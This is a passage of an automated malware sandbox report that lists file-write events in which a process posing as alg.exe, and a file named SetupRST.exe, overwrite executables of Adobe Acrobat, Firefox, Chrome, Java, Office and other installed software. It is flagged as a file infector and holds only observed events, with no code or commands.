Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\CRLogTransport.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\CRLogTransport.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\CRLogTransport.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\CRLogTransport.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\CRWindowsClientService.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\CRWindowsClientService.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\CRWindowsClientService.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\CRWindowsClientService.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\CRWindowsClientService.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\CRWindowsClientService.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\CRWindowsClientService.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\CRWindowsClientService.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Eula.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Eula.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Eula.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Eula.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Eula.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Eula.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Eula.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Eula.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\LogTransport2.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\LogTransport2.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\LogTransport2.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\LogTransport2.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\LogTransport2.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\LogTransport2.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\LogTransport2.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\LogTransport2.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow\adobe_licensing_wf_acro.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow\adobe_licensing_wf_acro.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow\adobe_licensing_wf_acro.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow\adobe_licensing_wf_acro.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow\adobe_licensing_wf_acro.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow\adobe_licensing_wf_acro.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow\adobe_licensing_wf_acro.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow\adobe_licensing_wf_acro.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow\adobe_licensing_wf_helper_acro.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow\adobe_licensing_wf_helper_acro.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow\adobe_licensing_wf_helper_acro.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow\adobe_licensing_wf_helper_acro.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow\adobe_licensing_wf_helper_acro.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow\adobe_licensing_wf_helper_acro.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow\adobe_licensing_wf_helper_acro.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow\adobe_licensing_wf_helper_acro.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\32BitMAPIBroker.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\32BitMAPIBroker.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\32BitMAPIBroker.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\32BitMAPIBroker.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\32BitMAPIBroker.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\32BitMAPIBroker.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\32BitMAPIBroker.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\32BitMAPIBroker.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\64BitMAPIBroker.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\64BitMAPIBroker.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\64BitMAPIBroker.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\64BitMAPIBroker.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\64BitMAPIBroker.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\64BitMAPIBroker.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\64BitMAPIBroker.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\64BitMAPIBroker.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\MSRMSPIBroker.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\MSRMSPIBroker.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\MSRMSPIBroker.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\MSRMSPIBroker.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\MSRMSPIBroker.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\MSRMSPIBroker.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\MSRMSPIBroker.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\MSRMSPIBroker.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\RDCNotificationClient\FullTrustNotifier.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\RDCNotificationClient\FullTrustNotifier.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\RDCNotificationClient\FullTrustNotifier.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\RDCNotificationClient\FullTrustNotifier.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\RDCNotificationClient\FullTrustNotifier.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\RDCNotificationClient\FullTrustNotifier.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\RDCNotificationClient\FullTrustNotifier.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\RDCNotificationClient\FullTrustNotifier.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\ShowAppPickerForPDF.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\ShowAppPickerForPDF.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\ShowAppPickerForPDF.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\ShowAppPickerForPDF.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\ShowAppPickerForPDF.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\ShowAppPickerForPDF.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\ShowAppPickerForPDF.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\ShowAppPickerForPDF.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\x86\Acrobat\Acrobat.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\x86\Acrobat\Acrobat.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\x86\Acrobat\Acrobat.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\x86\Acrobat\Acrobat.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\x86\Acrobat\Acrobat.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\x86\Acrobat\Acrobat.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\x86\Acrobat\Acrobat.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\x86\Acrobat\Acrobat.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Common Files\Adobe\Acrobat\Setup\{AC76BA86-1033-1033-7760-BC15014EA700}\setup.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Common Files\Adobe\Acrobat\Setup\{AC76BA86-1033-1033-7760-BC15014EA700}\setup.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Common Files\Adobe\Acrobat\Setup\{AC76BA86-1033-1033-7760-BC15014EA700}\setup.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Common Files\Adobe\Acrobat\Setup\{AC76BA86-1033-1033-7760-BC15014EA700}\setup.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Common Files\Adobe\Acrobat\Setup\{AC76BA86-1033-1033-7760-BC15014EA700}\setup.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Common Files\Adobe\Acrobat\Setup\{AC76BA86-1033-1033-7760-BC15014EA700}\setup.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Common Files\Adobe\Acrobat\Setup\{AC76BA86-1033-1033-7760-BC15014EA700}\setup.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Common Files\Adobe\Acrobat\Setup\{AC76BA86-1033-1033-7760-BC15014EA700}\setup.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Common Files\Adobe\Acrobat\Setup\{AC76BA86-1033-1033-7760-BC15014EA700}\WindowsInstaller-KB893803-v2-x86.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Common Files\Adobe\Acrobat\Setup\{AC76BA86-1033-1033-7760-BC15014EA700}\WindowsInstaller-KB893803-v2-x86.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Common Files\Adobe\Acrobat\Setup\{AC76BA86-1033-1033-7760-BC15014EA700}\WindowsInstaller-KB893803-v2-x86.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Common Files\Adobe\Acrobat\Setup\{AC76BA86-1033-1033-7760-BC15014EA700}\WindowsInstaller-KB893803-v2-x86.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Common Files\Adobe\Acrobat\Setup\{AC76BA86-1033-1033-7760-BC15014EA700}\WindowsInstaller-KB893803-v2-x86.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Common Files\Adobe\Acrobat\Setup\{AC76BA86-1033-1033-7760-BC15014EA700}\WindowsInstaller-KB893803-v2-x86.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Common Files\Adobe\Acrobat\Setup\{AC76BA86-1033-1033-7760-BC15014EA700}\WindowsInstaller-KB893803-v2-x86.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Common Files\Adobe\Acrobat\Setup\{AC76BA86-1033-1033-7760-BC15014EA700}\WindowsInstaller-KB893803-v2-x86.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Mozilla Firefox\crashreporter.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Mozilla Firefox\crashreporter.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Mozilla Firefox\crashreporter.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Mozilla Firefox\crashreporter.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Mozilla Firefox\crashreporter.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Mozilla Firefox\crashreporter.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Mozilla Firefox\crashreporter.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Mozilla Firefox\crashreporter.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Mozilla Firefox\default-browser-agent.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Mozilla Firefox\default-browser-agent.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Mozilla Firefox\default-browser-agent.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Mozilla Firefox\default-browser-agent.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Mozilla Firefox\default-browser-agent.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Mozilla Firefox\default-browser-agent.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Mozilla Firefox\default-browser-agent.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Mozilla Firefox\default-browser-agent.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Mozilla Firefox\firefox.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Mozilla Firefox\firefox.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Mozilla Firefox\firefox.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Mozilla Firefox\firefox.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Mozilla Firefox\firefox.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Mozilla Firefox\firefox.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Mozilla Firefox\firefox.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Mozilla Firefox\firefox.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Mozilla Firefox\maintenanceservice.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Mozilla Firefox\maintenanceservice.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Mozilla Firefox\maintenanceservice.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Mozilla Firefox\maintenanceservice.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Mozilla Firefox\maintenanceservice.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Mozilla Firefox\maintenanceservice.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Mozilla Firefox\maintenanceservice.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Mozilla Firefox\maintenanceservice.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Mozilla Firefox\minidump-analyzer.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Mozilla Firefox\minidump-analyzer.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Mozilla Firefox\minidump-analyzer.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Mozilla Firefox\minidump-analyzer.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Mozilla Firefox\minidump-analyzer.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Mozilla Firefox\minidump-analyzer.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Mozilla Firefox\minidump-analyzer.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Mozilla Firefox\minidump-analyzer.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Mozilla Firefox\pingsender.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Mozilla Firefox\pingsender.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Mozilla Firefox\pingsender.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Mozilla Firefox\pingsender.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Mozilla Firefox\pingsender.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Mozilla Firefox\pingsender.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Mozilla Firefox\pingsender.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Mozilla Firefox\pingsender.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Mozilla Firefox\plugin-container.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Mozilla Firefox\plugin-container.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Mozilla Firefox\plugin-container.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Mozilla Firefox\plugin-container.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Mozilla Firefox\plugin-container.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Mozilla Firefox\plugin-container.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Mozilla Firefox\plugin-container.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Mozilla Firefox\plugin-container.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Mozilla Firefox\private_browsing.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Mozilla Firefox\private_browsing.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Mozilla Firefox\private_browsing.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Mozilla Firefox\private_browsing.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Mozilla Firefox\private_browsing.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Mozilla Firefox\private_browsing.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Mozilla Firefox\private_browsing.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Mozilla Firefox\private_browsing.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Mozilla Firefox\updater.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Mozilla Firefox\updater.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Mozilla Firefox\updater.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Mozilla Firefox\updater.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Mozilla Firefox\updater.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Mozilla Firefox\updater.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Mozilla Firefox\updater.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Mozilla Firefox\updater.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARMHelper.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARMHelper.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARMHelper.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARMHelper.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARMHelper.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARMHelper.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARMHelper.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARMHelper.exe	Jump to behavior

Infects executable files (exe, dll, sys, html)

Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Java\jre-1.8\bin\javaws.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\Google\Chrome\Application\117.0.5938.132\chrome_pwa_launcher.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\Google\Chrome\Application\117.0.5938.132\Installer\chrmstp.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateComRegisterShell64.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Java\jre-1.8\bin\servertool.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\RDCNotificationClient\FullTrustNotifier.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\Mozilla Firefox\pingsender.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Microsoft Office\Office16\OSPPREARM.EXE	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Common Files\Java\Java Update\jaureg.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\Google\Chrome\Application\117.0.5938.132\Installer\setup.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Browser\WCChromeExtn\WCChromeNativeMessagingHost.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaw.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Common Files\Java\Java Update\jusched.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\Mozilla Firefox\default-browser-agent.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Java\jre-1.8\bin\ssvagent.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\LogTransport2.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\cookie_exporter.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\filecompare.exe	Jump to behavior
Source: C:\Users\user\Desktop\SetupRST.exe	System file written: C:\Windows\System32\DiagSvcs\DiagnosticsHub.StandardCollector.Service.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\7-Zip\7z.exe	Jump to behavior
Source: C:\Users\user\Desktop\SetupRST.exe	System file written: C:\Windows\System32\AppVClient.exe	Jump to behavior
